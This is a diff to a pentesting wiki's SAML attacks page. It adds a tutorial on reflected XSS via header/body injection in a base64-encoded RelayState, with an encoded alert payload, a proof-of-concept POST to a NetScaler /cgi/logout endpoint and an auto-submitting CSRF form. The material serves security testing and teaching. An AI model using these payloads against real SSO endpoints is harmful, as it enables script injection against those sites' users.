Merge pull request #1571 from HackTricks-wiki/update_Is_it_CitrixBleed4__Well_no__Is_it_good__Also_no___20251112_182921

Is it CitrixBleed4? Well no. Is it good? Also no. Citrix Net...

Author: carlospolop

src/pentesting-web/saml-attacks/README.md

@@ -25,7 +25,7 @@ require 'rexml/document'
 doc = REXML::Document.new <<XML
 <!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
 <X>
-  <Y/><![CDATA[--><X><Z/><!--]]>-->
+  <Y/><![CDATA[--><X><Z/><!--]]]>
 </X>
 XML
 
@@ -297,13 +297,69 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList:
                 print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)
 ```
 
+## RelayState-based header/body injection to rXSS
+
+Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.
+
+- Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in [CRLF injection](../crlf-0d-0a.md).
+- Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.
+
+Generalized steps:
+
+1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:
+   
+   Concept:
+   
+   ```text
+   \n
+   Content-Type: text/html
+   
+   
+   <svg/onload=alert(1)>
+   ```
+2. URL-encode the sequence (example):
+   
+   ```text
+   %0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
+   ```
+3. Base64-encode that URL-encoded string and place it in `RelayState`.
+   
+   Example base64 (from the sequence above):
+   
+   ```text
+   DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
+   ```
+4. Send a POST with a syntactically valid `SAMLResponse` and the crafted `RelayState` to the SSO endpoint (e.g., `/cgi/logout`).
+5. Deliver via CSRF: host a page that auto-submits a cross-origin POST to the target origin including both fields.
+
+PoC against a NetScaler SSO endpoint (`/cgi/logout`):
+
+```http
+POST /cgi/logout HTTP/1.1
+Host: target
+Content-Type: application/x-www-form-urlencoded
+
+SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
+```
+
+CSRF delivery pattern:
+
+```html
+<form action="https://target/cgi/logout" method="POST" id="p">
+  <input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
+  <input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
+</form>
+<script>document.getElementById('p').submit()</script>
+```
+
+Why it works: the server decodes `RelayState` and incorporates it into the response in a way that permits newline injection, letting the attacker influence headers and body. Forcing `Content-Type: text/html` causes the browser to render the attacker-controlled HTML from the response body.
+
 ## References
 
 - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
 - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
 - [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
 - [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
+- [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/)
 
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